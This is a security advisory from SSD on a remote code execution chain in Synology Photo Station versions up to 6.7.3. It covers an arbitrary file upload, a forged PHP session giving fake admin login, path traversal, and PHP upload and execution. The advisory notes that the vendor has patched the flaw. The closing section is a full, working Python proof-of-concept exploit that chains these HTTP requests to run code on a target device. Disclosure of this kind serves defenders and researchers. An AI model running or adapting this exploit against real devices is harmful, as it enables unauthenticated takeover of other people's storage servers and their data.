SSD Advisory – Synology Photo Station Unauthenticated Remote Code Execution

blogs.securiteam.com/index.php/archives/3356

SSD / Maor Schwartz August 7, 2017

Vulnerability Summary
The following advisory describes a Remote Code Execution found in Synology Photo Station versions 6.7.3-3432 and earlier / 6.3-2967 and earlier.

Personal Photo Station is an online photo album with blog owned and managed by a DSM user. Synology NAS provides the home/photo folder for you to store photos and videos that you want to share. The system will create index thumbnails of the photos and videos automatically, and then people can view photo albums via a web browser.

Credit
An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address this vulnerability.

For more details: https://www.synology.com/zh-tw/support/security/Synology_SA_17_34_PhotoSation

CVE's:

- CVE-2017-11151
- CVE-2017-11152
- CVE-2017-11153
- CVE-2017-11154
- CVE-2017-11155

Vulnerability details
The remote code execution is a combination of 4 different vulnerabilities:

- Upload arbitrary files to the specified directories
- Log in with a fake authentication mechanism
- Log in to Photo Station with any identity
- Execute arbitrary code by authenticated user with administrator privileges

The chain of vulnerabilities will allow you, in the end, to execute code as:

```
1  uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
```

The first step is to exploit the ability to upload arbitrary files – User controlled input is not sufficiently sanitized, when passed to */photo/include/synotheme_upload.php* function. Successful exploitation of this vulnerability enables a remote unauthenticated user to upload arbitrary files.

The file will be uploaded to */var/packages/PhotoStation/etc/blog/* or */var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/*.

The second step is to use the user controlled file to create a valid session by using the the following file content:

```
1 root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}
```

And send a request to *general_setting.php* with the parameter that include the file we uploaded as a session.

The third step is to log with the new root user we created.

Once we log-in we can upload a file with our malicious code and execute him by send a *GET* request

Furthermore, the last vulnerability is the ability to identify Photo Station version.

By default when you visit photo station url *http:///IP/photo/#!Albums*, in the source code you can identify the Photo Station version:

```
1 <script src="js_php/prevent_iframe.js.php?v=6.7.1-3419"></script>
```

6.7.1-3419 is version of Photo Station installed.

Proof of Concept

```
import requests

# What server you want to attack
synology_ip = 'http://192.168.1.100'

# Your current IP
ip = '192.168.1.200'

# PHP code you want to execute
php_to_execute = '<?php echo system("id"); ?>'

encoded_session = 'root|a:2:
{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}'

print "[+] Set fake admin sesssion"
file = [('file', ('foo.jpg', encoded_session))]

r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'},
files=file)
print r.text

print "[+] Login as fake admin"

# Depends on version it might be stored in different dirs
payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'}
# payload = {'session':
'/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'}

try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload)

whichact = {'action' : 'get_setting'}
r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact,
cookies=try_login.cookies)
print r.text

print "[+] Upload php file"

c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' :
'/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'}
r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies)
print r.text


print "[+] Execute payload"
f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip))

print f.text
```